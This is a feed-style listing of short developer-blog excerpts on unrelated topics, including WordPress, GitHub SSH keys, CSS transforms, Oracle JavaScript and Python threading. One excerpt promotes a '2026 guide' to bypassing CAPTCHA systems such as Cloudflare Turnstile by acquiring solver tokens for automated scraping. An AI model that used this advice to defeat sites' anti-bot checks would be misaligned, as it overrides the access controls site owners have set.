    I’m a full-stack dev deep in .NET, building AI-powered tools & blockchain systems. Based in Japan, but I keep EU/US hours and want to pair, open-source, or ship side-projects with sharp devs across those time zones. webdev.jhm@gmail.com  ( 6 min )
    Website laten maken in WordPress: de voordelen van een gebruiksvriendelijk CMS
    website laten maken in WordPress krijgt u een CMS dat meebeweegt met uw doelen: eenvoudig beheer, ruime thema keuze en duizenden uitbreidingen. Creatix Code vertaalt uw merk naar een strak ontwerp met logische navigatie en heldere calls to action. U beheert pagina’s zonder code, past beelden aan en publiceert nieuws in minuten. Het systeem groeit mee: vandaag een compacte site, morgen een blog, later een shop of meertaligheid. Dat is precies de kracht: starten zonder frictie, schalen zonder herbouw, en altijd de mogelijkheid om gericht te optimaliseren op meetbare resultaten. Beheer moet licht voelen. Met website laten maken in WordPress werkt u met blokken: tekst, beeld, knoppen, formulieren. U sleept, schuift en publiceert. Creatix Code richt sjablonen in die uw huisstijl bewaken, zodat …  ( 9 min )
    The 2026 Guide to Bypassing Modern CAPTCHA Systems for AI Agents and Automation Pipelines
    Key Takeaways for Automation Engineers Behavioral Analysis is the Wall: Modern CAPTCHAs, like Cloudflare Turnstile, block bots based on non-human interaction patterns, not just image recognition. General AI is Too Slow: Large Language Model (LLM) agents lack the speed and precise control needed to mimic human browser behavior in real-time. Token-Based Bypass is the Standard: The only reliable method for automation is using specialized services to acquire invisible validation tokens (e.g., g-recaptcha-response, cf_clearance). The Future is Specialized Solvers: Integrating a dedicated CAPTCHA bypass API is mandatory for maintaining high-volume, uninterrupted data collection. Automation is critical for data collection, but modern anti-bot systems are designed to stop it. The 2026 web …  ( 12 min )
    Trash Theory: Exploring Tricky & Maxinquaye: The 90s Bowie? | New British Canon
    Exploring Tricky & Maxinquaye: The 90s Bowie? Tricky, the Bristol-born renegade, hated the “trip-hop” tag but practically invented it alongside Massive Attack—melding soul, dub reggae and downtempo hip-hop under Martina Topley-Bird’s hypnotic vocals into something dark, claustrophobic and paranoid. Their 1995 debut Maxinquaye, forged from Tricky’s own trauma, addiction and melancholy, felt like the 90s’ Bowie moment: genre-shredding, defiantly un-radio-friendly and dripping with raw emotion. Yet once critics and radio caught wind of its magic, Maxinquaye’s edge got bleached for mainstream ears. This New British Canon episode tracks Tricky’s Bristol roots, his creative bond with Martina, the birth of Maxinquaye and the uphill battle to keep his sound unspoiled by fame. Watch on YouTube  ( 6 min )
    Menggunakan Dua Akun GitHub di Satu Laptop (Office + Pribadi) dengan SSH Key Terpisah
    Minggu lalu saya memulai masa probation. Salah satu hal yang biasa kita lakukan adalah menyiapkan local environment, salah satunya git. Di perusahaan yang baru ini kami menggunakan github. Sayangnya saya tidak bisa menggunakan akun pribadi, sehingga harus menggunakan akun kantor. Masalah yang saya hadapi adalah bagaimana tetap menggunakan dua akun dengan dua SSH Key berbeda. GitHub sering salah mengenali akun karena laptop hanya memakai satu SSH key default. Akibatnya muncul error seperti: Permission denied to wrong-user Setelah setup selesai, kamu bisa: push ke akun kantor → git@github.com-office:company/repo.git push ke akun personal → git@github.com-personal:username/repo.git dan Git akan otomatis memilih SSH key yang tepat. Jika akun kantor sudah punya key, sekarang buat key baru untuk akun personal: ssh-keygen -t ed25519 -C "email-pribadi@example.com" Ketika muncul pertanyaan: Enter file in which to save the key:' ~/.ssh/gitpersonal` Nama file bebas, yang penting unik. Cek key yang sudah ter-load. ssh-add -l Tampilkan public key: cat ~/.ssh/gitpersonal.pub Edit file: nano ~/.ssh/config Tambahkan dua blok host: ` Host github.com-personal Ini bagian yang paling sering terlewat 🔥 🔸 Repo personal git remote set-url origin git@github.com-personal:bluething/nama-repo.git 🔸 Repo kantor git remote set-url origin git@github.com-office:durianpay/nama-repo.git Cek: git remote -v 🔸 Test akun kantor ssh -T git@github.com-office Harus keluar: Hi akunkantor! You've successfully authenticated... 🔸 Test akun personal ssh -T git@github.com-personal Hi akunpersonal! You've successfully authenticated... Kalau masih salah akun → berarti ssh-agent belum memuat key yang benar. Coba reset agent: https://github.com/username/repo.git git@github.com-personal:username/repo.git Pastikan: IdentityFile ejaannya benar. Path file benar. Host alias sama dengan remote URL  ( 7 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    ‘Weird Science’ Rewatchables Bill Simmons and Kyle Brandt crack open John Hughes’s 1985 sci-fi teen comedy, Weird Science, in a delightfully off-the-rails Rewatchables episode. They romp through all the sex, drugs, rock ’n’ roll (and yes, chips, dips, chains and whips), dissecting Anthony Michael Hall’s hapless nerds, Kelly LeBrock’s instantly iconic Lisa and Ilan Mitchell-Smith’s awkward heroics. Producers Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo keep the banter rolling, making this one of the most fun deep-dives into a cult classic you didn’t know you needed. Don’t forget to subscribe to The Ringer-Verse and Bill Simmons channels for more movie madness. Watch on YouTube  ( 6 min )
    The Role of Stakeholder Analysis in Project Success
    Stakeholder analysis is the process of mapping out all stakeholders and evaluating their interests, expectations, power, and level of influence. Tools like power-interest grids, stakeholder maps, and influence matrices help project managers identify who needs close engagement versus minimal involvement. Proper analysis helps tailor communication messages, determine appropriate mediums, and anticipate risks. When managed effectively, stakeholder engagement boosts support, reduces resistance, and improves overall project outcomes.  ( 6 min )
    transform
    transform 是 CSS 的二维 / 三维变换属性: 可以移动(translate) 放大缩小(scale) 旋转(rotate) 倾斜(skew) 3D 透视(perspective) 它是对元素的 渲染盒(rendering box) 做视觉变换,不影响文档流。 特性 解释 ✔ 不改变文档流 元素的位置、大小不会影响其他元素 ✔ GPU 加速 浏览器用 GPU 处理(动画流畅) ✔ 可以叠加多个变换 顺序不同,结果不同 ✔ 动画性能极好 和 opacity 是最推荐做动画的属性 ✔ transform-origin 决定变换中心 默认是 center center 1.translate:平移 transform: translateX(50px); /* 把元素在水平方向(X 轴)向右移动 50px。 */ transform: translateY(-20px); /* 把元素在垂直方向(Y 轴)向上移动 20px。 */ transform: translate(50px, -20px); /* translateX(50px) + translateY(-20px) */ transform: translate(50%, 0); /* 把元素水平移动“自身宽度的 50%”,垂直不移动。 */ 移动元素,但不占据空间 百分比基于 自身尺寸 2.scale:缩放 transform: scale(2); /* 放大 2 倍 */ transform: scaleX(1.5); /* 横向放大 */ transform: scaleY(0.5); /* 竖向缩小 */ 3.rotate:旋转 transform: rotate(45deg); transform: rotate(-90deg); 旋转中心由 transform-origin 决定。 4.skew:倾斜 transform: skewX(20deg); transform: skewY(5deg); transform: skew(20deg, 5deg); 5.matrix 包含所有 2D 变换的矩阵形式: transform: matrix(a, b, c, d, e, f); 适合高级动画或计算变换。 a:scaleX(水平缩放) b:skewY(Y 轴倾斜) c:skewX(X 轴倾斜) d:scaleY(垂直缩放) e:translateX(水平移动) f:translateY(垂直移动) 6.3D 变换函数 transform: translateZ(50px); /* 把元素在“屏幕垂直方向”前移 50px */ transform: rotateY(180deg); /* 围绕 Y 轴旋转 */ transform: rotateX(30deg); /* 围绕 Y 轴旋转 */ transform: perspective(200px); /* 给此元素本次 transform 添加透视深度 */ 开启3D视角的必要代码 body { perspective: 600px; /* 透视距离(越小越夸张) */ } 如果你想让子元素保持 3D: transform-style: preserve-3d; 但 它不是开启 3D 的必要条件,只是让子元素不被压扁。 默认: transform-origin: 50% 50%; 也就是元素中心。 你可以改变变换的中心: transform-origin: left top; transform-origin: bottom right; transform-origin: 0 0; transform-origin: 100px 50%; 动画时特别关键,例如: 从左侧展开:transform-origin: left 从底部弹起:transform-origin: bottom transform: translate(50px) scale(2); 和 transform: scale(2) translate(50px); 这 两个视觉结果完全不一样。 你可以把 transform 理解成“流水线处理”: 第一段变换 → 第二段变换 → 第三段变换 … 改变 transform 不会影响布局,不会让其他元素重新排列。 transform 不会改变元素的实际宽高 transform 不会被其他元素“挤开”  ( 6 min )
    Optimizing Connection Pools with PrismaClient Singleton Pattern in Next.js
    Overview In our Next.js application, we encountered connection pool exhaustion issues during development hot reloads because each page was creating its own PrismaClient instance. This article explains how we resolved this problem by implementing a proper singleton pattern and optimizing connection pool settings for Neon Database. Next.js 14+ (App Router) Prisma ORM (v5.x) PostgreSQL (Neon Database) TypeScript (v5.x) Singleton Pattern Edge Runtime Support We were experiencing the following issues in our development environment: // Each page was creating its own instance (BAD practice) // app/dashboard/page.tsx export default async function DashboardPage() { const prisma = new PrismaClient(); // ❌ Creates new instance every time const customers = await prisma.customer.findMany(); //…  ( 15 min )
    Why Your Content Must Address Data Privacy, AI Ethics, and Digital Rights — or Risk Losing Your Audience
    “I didn’t realize how much of my life I’d given away… until I checked what my apps knew about me.” A friend sent me that message recently. She wasn’t exaggerating. One quick look into her app permissions and she discovered that a simple photo-editing app had access to her microphone, location, full gallery, and even real-time behavioral data. But the lesson stayed with me: 👉 People are more aware, more cautious, and more protective of their digital lives than ever. 👉 And they want content creators to help them stay informed, empowered, and safe. This is why addressing data privacy, AI ethics, and digital rights is no longer optional. It is a duty — and a powerful way to build trust, authority, and influence. 🔥Your Audience Is Not Just Consuming Content… They’re Trusting You Every time …  ( 8 min )
    Why CIOs and CTOs Need to Own Corporate Recycling
    Most days I think about data pipelines, infrastructure and delivery speed — not trash bags. But in 2025, you can’t separate IT from waste anymore, especially when you look at the numbers. The Global E-waste Monitor 2024 estimates that the world generated 62 million tonnes of e-waste in 2022, up 82% since 2010, and we’re on track to hit 82 million tonnes by 2030, while only about 22% is formally collected and recycled. At the same time, Circle Economy’s latest analysis shows that only 6.9% of all materials used globally come from recycled sources, and that share has actually been falling. If you’re a CIO, CTO or IT director, a non-trivial chunk of that problem sits directly under your responsibility: laptops, phones, servers, network equipment, peripherals, cloud usage patterns, plus the da…  ( 13 min )
    The Secret Life of Python: GIL Secrets - Python's Threading Mystery
    Timothy was optimizing a web scraper when he hit a wall. "Margaret, I don't understand threading in Python. I rewrote my scraper to use 4 threads thinking it would be 4x faster, but it's actually slower than the single-threaded version! My CPU monitor shows only one core is being used. Everyone says 'it's the GIL,' but what is the GIL? And why does Python have this limitation?" Margaret leaned back with a knowing smile. "The GIL - the Global Interpreter Lock. It's Python's most misunderstood feature and the source of endless debate. But here's the secret: the GIL isn't a bug, it's a design tradeoff that shaped Python's entire ecosystem. Understanding it will completely change how you write concurrent Python code." "A design tradeoff?" Timothy looked skeptical. "It sounds like a limitation.…  ( 24 min )
    How I turned my Netflix system design interview failures into frameworks that work
    When I first tackled a Netflix system design interview, I was overwhelmed. The platform’s complex architecture felt impenetrable. Streaming billions of hours daily? How do you even start breaking that down? Since then, I’ve dived deep into various Netflix system design interview courses—from Educative’s hands-on modules to ByteByteGo’s walkthroughs and DesignGurus.io’s frameworks. Along the way, I learned a ton. Today, I want to share 7 actionable lessons to help you ace your Netflix system design interview and build scalable, maintainable systems like the pros. I remember fumbling in my first mock interview—launching straight into cache layers and CDN strategies. The interviewer paused me and said, “Hold on. What problem are we solving exactly?” (Pro tip) Always clarify requirements upfro…  ( 9 min )
    [Boost]
    Revolutionizing SQL Development with Oracle APEX AI Assistant Rajesh Vohra ・ Oct 20 #oracle #cloud #sql #ai  ( 6 min )
    What Is an Asset Retirement in IT Asset Management?
    What is Asset Retirement? Asset retirement in IT Asset Management (ITAM) is the process of officially taking an asset out of service once it has reached the end of its useful life. This means the device or system is no longer active, no longer assigned to a user, and no longer part of daily operations. When an asset is retired, IT teams make sure it is safely removed, securely wiped, and accurately recorded so the organization stays compliant and maintains a trustworthy inventory. Assets are commonly retired because: End of useful life: the device is old, slow, or unreliable. Technological obsolescence: newer and more efficient alternatives are available. High maintenance cost: the asset requires frequent repairs or becomes too expensive to maintain. Damage or loss: the asset is stolen,…  ( 15 min )
    Getting Started with JavaScript in Oracle: Simple MLE Use Cases and Procedures
    Oracle’s Multilingual Engine (MLE) allows you to run JavaScript directly inside the database alongside PL/SQL. This lets you create procedures, functions, and modules in JavaScript that can be called from PL/SQL. MLE is great for beginners because it makes it easy to mix SQL and JavaScript, run small tests quickly, and write reusable logic in a familiar language. Use Case: Quickly test JavaScript logic without creating a module. CREATE OR REPLACE PROCEDURE inline_js_demo BEGIN What happens: Quick execution of JS logic. No module creation needed. Useful for small computations or testing. Teaches: PURE environment, simple math logic JavaScript Module PURE Environment Procedure Execution Teaches: JS string functions, returning values Inline JS Function Call It Teaches: Executing SQL inside JavaScript (MLE SQL driver) JavaScript Module export function avgSalary() { SELECT AVG(salary) avg_sal FROM Employees); Procedure + Call Spec Usage SELECT js_emp_avg FROM dual;  ( 7 min )
    Final Round AI vs Sensei AI: Which One Really Prepares You for the Real Interview?
    There was a time when I thought any AI interview coach would do the job. For weeks, I used Sensei AI. It looked solid, clean UI, instant feedback, and tons of questions. It was like talking to a robot that read the job description but never met a human recruiter. Then I tried Final Round AI. answering questions; it’s about building confidence through realistic interaction. Before diving into the comparison, let’s clarify what both tools actually are. It's an interview preparation platform that uses artificial intelligence to simulate mock interviews, evaluate your answers, and provide feedback. Check out Sensei AI 🥋 Final Round AI On the other hand, Final Round AI takes a more immersive approach. Check out Final Round AI 🔥 Both aim to make you better at interviews. Like…  ( 8 min )
    Beginner-Friendly PL/SQL and JavaScript MLE Examples for Oracle 26ai
    The Multilingual Engine (MLE) in Oracle 26ai opens a whole new world for developers by allowing JavaScript to run natively inside the database, right alongside traditional PL/SQL. For beginners, this means you can combine the simplicity of JavaScript with the power of Oracle’s SQL engine to build cleaner logic, faster transformations, and more flexible procedures. The examples below walk through easy, practical use cases—from formatting text and doing basic math to running SQL queries and returning JSON—all designed to help new users quickly understand how PL/SQL and JavaScript work together through MLE. Use Case: Print "Hello World" dynamically using JavaScript from PL/SQL. SET SERVEROUTPUT ON; DECLARE -- JavaScript code stored in a CLOB l_jscode := q'~ console.log('Hello World, dynamically from JavaScript!'); ~'; -- Execute JavaScript dynamically DBMS_MLE.eval( context_handle => l_ctx, language_id => 'JAVASCRIPT', source => l_jscode, source_name => 'DynamicHelloWorld' ); -- Drop the context to free resources DBMS_MLE.drop_context(l_ctx); END; What happens: A new execution context is created. JavaScript code is executed dynamically. Output is printed via DBMS_OUTPUT. Context is explicitly dropped. Use Case: Encapsulate reusable logic in a module and call it from PL/SQL. Step 1: Create a JavaScript Module Hello, ${name} from JS module!); Step 2: Create a PL/SQL Procedure Call Specification Step 3: Call the Procedure in PL/SQL What happens: hello_module stores reusable JS code. hello_proc exposes JS function to PL/SQL. Output is printed via DBMS_OUTPUT. Use Case: Run computational code without accessing database state. Step 1: Create a PURE JavaScript Module Sum is: ${a + b}); Step 2: Create a PURE Environment Step 3: Create a Call Specification Using PURE Environment Step 4: Execute the Procedure What happens: Code runs isolated from database objects. Ideal for running third-party libraries or computations securely. Only allows input/output operations.  ( 9 min )
    I Learned React Wrong for 3 Months. Here's What I Wish I Knew on Day 1
    I spent 3 months learning React. Built 4 projects. Felt confident. Then got destroyed in my first code review. "Why are you doing it like this?" "This isn't how React works." "Did you learn this from a 2018 tutorial?" Turns out, I learned React completely wrong. Here's what I wish someone told me on Day 1. What I did: class MyComponent extends React.Component { constructor(props) { super(props); this.state = { count: 0 }; } render() { return {this.state.count} ; } } Why it's wrong: Class components are legacy. The industry moved to functional components in 2019. What I should've learned: function MyComponent() { const [count, setCount] = useState(0); return {count} ; } The lesson: Don't learn outdated patterns. Check when the tutorial was ma…  ( 8 min )
    Transforming LLM Apps: How Monetzly Boosts API Monetization
    What If Your AI App Could Generate Revenue in Two Ways Simultaneously? As developers, we’re all too familiar with the challenge of monetizing our AI-powered applications. With the AI app landscape booming, many of us find ourselves at a crossroads: how can we create a sustainable revenue model without disrupting the user experience? Enter Monetzly—the first platform that lets you monetize your AI apps and earn from hosting relevant ads. Imagine not only charging users for your application but also generating income through contextual advertising. This is the dual-earning model that Monetzly offers, and it’s a game changer in the AI space. Here’s how it works: Monetize Without Barriers With Monetzly, you can say goodbye to subscription fees or paywalls. Your users can engage with your …  ( 7 min )
    MVC - Second part
    Model : This level is considered the lowest level when compared with the View and Controller. It primarily represents the data to the user and defines the storage of all the application’s data objects. User --> Dispatche servlet(front controller)--> Controller-->Module-->Services, repositories, Database- data  ( 5 min )
    Understanding Market Momentum: A Look at the Current FTSE 100
    The UK’s financial landscape continues to play a pivotal role in shaping global investment sentiment. Among the most widely followed benchmarks, the FTSE 100 remains a central indicator of how Britain’s largest companies are performing and how investors perceive market stability. As economic conditions shift and geopolitical dynamics evolve, the index remains a barometer of both challenges and opportunities within the UK’s corporate environment. What the FTSE 100 Represents The Importance of Tracking the Index Factors Driving Current Movements Currency Influence Global Commodity Trends Interest Rate Expectations Corporate Earnings Global Economic Conditions Why the Index Remains Resilient Potential Risks on the Horizon Inflation pressures that could affect consumer spending and corporate margins. Persistent geopolitical uncertainty, particularly regarding trade relations and regulatory policies. Market corrections triggered by shifts in investor sentiment or unexpected economic announcements. Sector-specific slowdowns, especially in industries sensitive to global demand, such as energy and mining. Investors must remain alert to these risks and understand how they may affect individual components of the index. Opportunities for Investors The Role of the FTSE 100 in the Broader Economy Looking Ahead Conclusion As one of the world’s most followed stock market benchmarks, the FTSE 100 remains central to evaluating financial stability, global exposure, and investor sentiment. Its performance reflects the ongoing narrative of the UK’s place in the international economy, mirroring both resilience and responsiveness to global events. For anyone tracking market developments or seeking long-term investment insight, the index continues to serve as an essential reference point. To explore real-time insights or monitor performance, you can revisit the FTSE 100 directly.  ( 9 min )
    # What Exactly Is a Computer Port, What Can Be Found There, and How to See All Existing Ports of a Computer?
    A Computer Port Defined A computer port is a physical or virtual interface that enables data to flow between a computer and external devices, or between software applications and network connections. They are essential for communication and connectivity. Computer ports can be understood from two primary contexts: Physical ports (hardware) Virtual/logical ports (software networking) These are the physical sockets on the computer's casing where you plug in cables and devices. They provide a standardized mode of connection to peripherals like monitors, keyboards, mice, printers, and external hard drives. Examples include USB, HDMI, Ethernet, and audio jacks. These are not physical sockets but numerical identifiers (ranging from 0 to 65,535) used by networking protocols, e.g., TCP, UDP, a…  ( 8 min )
    Rick Beato: Jahari Stampley... I've Never Heard Playing Like This!
    Jahari Stampley takes us behind the scenes of his rise to the cutting edge of improvisational jazz piano, from his big win at the Herbie Hancock Institute of Jazz Piano Competition to the breakthrough techniques that make his playing feel like nothing you’ve heard before. Along the way he gives a shout-out to his My Beato Club supporters, whose backing helps him keep innovating and sharing his music with the world. Watch on YouTube  ( 6 min )
    How to Reduce Errors in Voice Typing: Master the Art of Accurate Dictation
    Have you ever struggled with frustrating voice typing errors that turned your carefully planned message into gibberish? You're not alone. Voice-to-text technology has revolutionized how we communicate, but accuracy remains a common challenge for many users. Whether you're using voice typing for professional documentation, content creation, or casual messaging, reducing errors is essential for maintaining productivity and professionalism. In this guide, we'll explore practical strategies to minimize voice typing mistakes and help you achieve near-perfect transcription accuracy. Let's dive into the world of error-free dictation. Key Questions About Voice Typing Accuracy What causes voice typing errors in the first place? Can I completely eliminate transcription mistakes? Which tools provide …  ( 8 min )
    MVC - First part
    The Controller is the most important component because it handles all incoming requests. DispatcherServlet(Front controller) --> HandlerMapping(URLs& ref control)--> Actual controller. When the user sends a request, it first reaches the Controller. The Controller layer typically includes: 1.Front Controller (e.g., DispatcherServlet in Spring) 2.URL Mapping (decides which controller method should handle the request) 3.Actual Controller Logic (processes the request and returns a response)  ( 6 min )
    📻 I built an infinite 90s boombox with Gemini + Lyria (and it has an AI DJ!)
    I recently built an experiment that I honestly can’t stop listening to. It’s a virtual, web-based Boombox. You tune the dial, the station changes, and the music crossfades in real-time. But here is the kicker: The DJ is AI. Every time you settle on a station, a dynamically generated voice (courtesy of Gemini text-to-speech) chimes in to introduce the track and the genre, totally context-aware. It feels like a ghost in the machine, and it was built using the Google Gen AI SDK, Lit, and the Lyria Real-Time model. Here is how I built it. // Detect dark theme var iframe = document.getElementById('tweet-1990544411953168752-881'); if (document.body.className.includes('dark-theme')) { iframe.src = "https://platform.twitter.com/embed/Tweet.html?id=1990544411953168752&theme=dark" } …  ( 9 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    Bill Simmons and Kyle Brandt dive into the Ringer’s latest Rewatchables episode all about John Hughes’s 1985 teen classic Weird Science, starring Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith. Expect a fun, informal romp through the movie’s wild 80s vibe—sex, drugs, rock ’n’ roll and all the neon-soaked antics that made it a cult favorite. Watch on YouTube  ( 6 min )
    Drowning in Photos? Let a VS Code AI Agent Organize Them for You (No Coding Needed)
    I have always enjoyed taking photos but like most people today, I am drowning in them. Unlike the good ol’ days where you had a roll of 24 or 36 shots and had to make each one count, nowadays a single trip leaves me with hundreds of images across my phone, camera, and cloud shares from friends. The real challenge isn’t taking photos anymore, but curating and organizing them. Sure, you could upload everything into your favorite cloud storage provider and ask their built-in AI service to organize them for you. But why send terabytes over the wire (and hope some cloud AI doesn’t mislabel your dog as a toaster) when you can run the whole workflow locally? If you’re in the same boat as me, follow along and I’ll show you how I built a local-only Photo Organizer Agent using an LLM, custom MCP ser…  ( 9 min )
    Strategies to Analyze Any Size Dataset with LLMs Beyond its Context Limit
    You've connected your LLM to a SQL database using Model Context Protocol (MCP), run a query, and... oh no. Instead of the manageable 100 rows you expected, you get 50,000 records. Your LLM's context window can only handle a fraction of this data. What now? Here's how to fix this, starting with the most effective approaches. Instead of dumping raw data, provide strategic summaries that give the LLM (and your users) the big picture. SELECT COUNT(*) as total_records, AVG(sales_amount) as avg_sale, MIN(sales_amount) as min_sale, MAX(sales_amount) as max_sale, COUNT(DISTINCT customer_id) as unique_customers, SUM(sales_amount) as total_revenue FROM sales_data WHERE date >= '2024-01-01'; The LLM gets the complete statistical picture in a few dozen tokens instead of thou…  ( 7 min )
    Master Java — One MCQ at a Time!
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    🖥️ Cloud PC Pool for Copilot Studio: Scalable UI Automation Without Local Machines
    Overview The Cloud PC Pool feature in Microsoft Copilot Studio (preview) introduces a transformative way to run “computer use” agents on virtual machines (VMs) hosted in Microsoft’s cloud. These agents simulate human interaction with desktop and web applications—clicking, typing, navigating—without relying on APIs or local devices. This capability is powered by Windows 365 for Agents, enabling organizations to automate legacy systems, proprietary tools, and hybrid workflows with full governance and compliance. A Cloud PC pool is a scalable group of Microsoft Entra-joined and Intune-enrolled virtual machines. These VMs are centrally managed and provisioned to run UI automation tasks triggered by Copilot Studio agents. No local machine required: Agents run on cloud-hosted VMs. Auto-scaling…  ( 7 min )
    Countdown to PrestaShop Developer Conference 2025: What to Expect!
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    Laravel-MediaWiki Mutant
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    Aurora DSQL - Build A Serverless Multi-Region E-Commerce Platform
    Introduction I’ve always been a big fan of managed and truly serverless services offered by public cloud providers like AWS. I want to be able to prototype and build applications with as little infrastructure handling and management as possible. My time should be spent focusing on the business logic of the problem at hand. I really like using services on AWS like Lambda, API Gateway, the Simple Queue Service (SQS), Simple Notification Service (SNS), and many others. For a database platform I have almost always used DynamoDB. DynamoDB tables can be provisioned and ready to use in seconds. The service is highly performant at any scale and you just pay for what you use. I don’t have to pay $100’s per month for something I may only use once a week. In recent times we’ve had a resurgence of i…  ( 15 min )
    APIs shaped the last decade of software. Prompt templates will shape the next. Most developers still see prompts as “text instructions.” But in reality, prompts are rapidly becoming new interfaces and protocols.
    Why Prompt Templates Are the New APIs Jaideep Parashar ・ Nov 18 #webdev #ai #api #architecture  ( 6 min )
    Why Prompt Templates Are the New APIs
    (And why developers who learn this early will dominate the next decade) APIs shaped the last decade of software. Most developers still see prompts as “text instructions.” Interfaces Protocols Abstractions Reusable logic layers Integration points Product components In other words, APIs for intelligence. 1. Prompts Now Function Like Declarative Endpoints In traditional APIs, you say: “Give me user data.” In prompt APIs, you say: “Analyse this user data, find anomalies, explain the reasoning, and recommend next steps.” One call. Prompts don’t just return data; they return meaning. That’s why prompt templates are becoming the new intelligence endpoints. 2. Reusable Prompt Templates = Reusable Logic Think of this as the evolution of functions: Functions reuse code. APIs reuse services. Prompt t…  ( 9 min )
    [Boost]
    🚀 Introducing Agentic Postgres: The First & Free Database Built for Agents Ajay Kulkarni for Tiger Data (Creators of TimescaleDB) ・ Oct 21 #ai #database #postgres #agents  ( 5 min )
    Daily Tech News Roundup - 2025-11-18
    1. a16z-backed super PAC is targeting Alex Bores, sponsor of New York’s AI safety bill — he says bring it on Source: https://techcrunch.com/2025/11/17/a16z-backed-super-pac-is-targeting-alex-bores-sponsor-of-new-yorks-ai-safety-bill-he-says-bring-it-on/ Summary: A super PAC backed by Andreessen Horowitz, OpenAI, and other tech leaders has targeted New York Assembly member Alex Bores' congressional campaign, marking its first attack against a lawmaker supporting AI regulation. 2. Google is fighting the defamation battle Meta caved on Source: https://www.theverge.com/news/822636/google-robby-starbuck-defamation-lawsuit-ai-chatbot Summary: Google filed a motion to dismiss a defamation lawsuit brought by anti-corporate diversity activist Robby Starbuck, who claimed Google’s AI falsely associat…  ( 7 min )
    7 Best Pluralsight Alternatives for Developers
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    How Data Security Fuels Innovation in AI and Analytics
    Artificial Intelligence (AI) and analytics have become the backbone of modern businesses, from real-time recommendations to fraud detection to personalized customer experiences. But behind every powerful AI model lies a massive amount of sensitive data. And without the right security, innovation collapses. Today, cloud data security is not just a compliance requirement, it’s a core driver of innovation. The safer your data ecosystem, the more confidently you can build, scale, and experiment with AI. AI models rely on enormous datasets, including: Customer information Transaction logs Behavioral data Sensor/IoT data Enterprise operations data Any breach or misuse not only causes financial loss but also destroys trust. Strong data security helps organizations: Build high-quality datasets Pre…  ( 7 min )
    Master Python Set Methods with Simple Visuals (Emoji Guide Inside!)
    .add() → Add one item to set .remove() → Remove item (error if missing) .discard() → Remove safely without any error .union() → Combine elements from both sets .intersection() → Return only common elements .difference() → Keep elements unique in first set .clear() → Remove all items from set Mastering Python doesn’t have to feel overwhelming — especially when the concepts are broken down visually. minimal, emoji-based infographic that explains the most important Python Set methods in the simplest way possible. Whether you're learning Python for Data Science, Automation, Backend Development, Machine Learning, or DSA, understanding set operations like add(), remove(), union(), and intersection() can help you write cleaner, faster, and more efficient code. Sets play a huge role in deduplication, filtering, comparisons, and mathematical operations — and this visual guide makes each method super easy to understand. Minimal visuals. Maximum clarity. beginners, and a refreshing quick-reference for experienced developers. If you love clean learning resources, this guide will make Python feel simple, logical, and even fun! 🐍⭐  ( 6 min )
    How to Make Chatbot Understand Customer Intent
    Chatbots are everywhere now, right? They pop up on websites, in apps, and honestly, they can be a real help. But sometimes, they just don't get what you're asking for. It's like talking to a wall. The trick to making them actually useful is teaching them to understand what you want. This is all about something called 'intents.' Figuring out how to make a chatbot understand customer intent is key to making these tools work well. We'll break down how to get your chatbot on the same page as your customers. Chatbot intents are basically the goals or actions a user wants to achieve when they message a bot. Knowing this helps the bot respond the right way. There are different types of intents, like when someone just wants information, needs to do something (like buy something), wants help findin…  ( 16 min )
    Introducing dbfuse-ai — An Open-Source, Cross-Database GUI with AI-Powered SQL (Looking for Contributors)
    Modern developers work across multiple databases, cloud environments, and tools. Yet, most existing database GUIs either focus on a single engine, lack AI assistance, or lock core features behind paid tiers. To solve this, I’ve been building dbfuse-ai, an open-source, cross-database GUI with prompt-based AI-assisted SQL generation, driver-based extensibility, and a roadmap to support advanced features such as MCP integration, ER diagrams, schema exploration, and more. This project is growing quickly, and I’m actively looking for contributors who are interested in databases, Node.js, backend systems, AI integrations, and open-source collaboration. dbfuse-ai is a flexible JavaScript/TypeScript-based library that provides: A unified interface for working with multiple SQL databases A pluggab…  ( 8 min )
    Introducing dbfuse-ai — An Open-Source, Cross-Database GUI with AI-Powered SQL (Looking for Contributors)
    Modern developers work across multiple databases, cloud environments, and tools. Yet, most existing database GUIs either focus on a single engine, lack AI assistance, or lock core features behind paid tiers. To solve this, I’ve been building dbfuse-ai, an open-source, cross-database GUI with prompt-based AI-assisted SQL generation, driver-based extensibility, and a roadmap to support advanced features such as MCP integration, ER diagrams, schema exploration, and more. This project is growing quickly, and I’m actively looking for contributors who are interested in databases, Node.js, backend systems, AI integrations, and open-source collaboration. dbfuse-ai is a flexible JavaScript/TypeScript-based library that provides: A unified interface for working with multiple SQL databases A pluggab…  ( 8 min )
    Day 47 of 100 days dsa coding challenge
    Taking on a new challenge: solving GeeksforGeeks POTD daily and sharing my solutions! 💻🔥 Problem: https://www.geeksforgeeks.org/problems/number-of-ways-to-arrive-at-destination/1 Number of Ways to Arrive at Destination Difficulty: Medium Accuracy: 61.13% You are given an undirected weighted graph with V vertices numbered from 0 to V-1 and E edges, represented as a 2D array edges[][], where edges[i] = [ui, vi, timei] means that there is an undirected edge between nodes ui and vi that takes timei minutes to reach. Examples: Constraints: Solution: import heapq dist = [10**18] * V ways = [0] * V dist[0] = 0 ways[0] = 1 pq = [(0, 0)] mod = 10**9+7 while pq: d, u = heapq.heappop(pq) if d > dist[u]: continue for v, w in g[u]: nd = d + w if nd < dist[v]: dist[v] = nd ways[v] = ways[u] heapq.heappush(pq, (nd, v)) elif nd == dist[v]: ways[v] = (ways[v] + ways[u]) % mod return ways[V-1] % mod  ( 7 min )
    Why Your Enterprise Data Platform Is No Longer Just for Analytics
    Key Takeaways The relationship between data and applications is undergoing a fundamental shift. For decades, we've moved data to applications. Now, we're moving applications to data. This isn't just an architectural preference—it's becoming a necessity as businesses demand richer context, faster insights, and real-time operations. Here's what's driving this change: Context is king: Connected data provides multidimensional insights that isolated data simply cannot match The old pattern is breaking: Extracting data to specialized tools creates silos, brittleness, and duplication The line has blurred: Enterprise Data Platforms are no longer just analytical systems—they're becoming operational platforms Three critical shifts: Data latency must drop to seconds, query latency to sub-seconds, a…  ( 15 min )
    Claude Code Plugin I use every day
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    The New Role of CRM in Omnichannel Customer Journeys
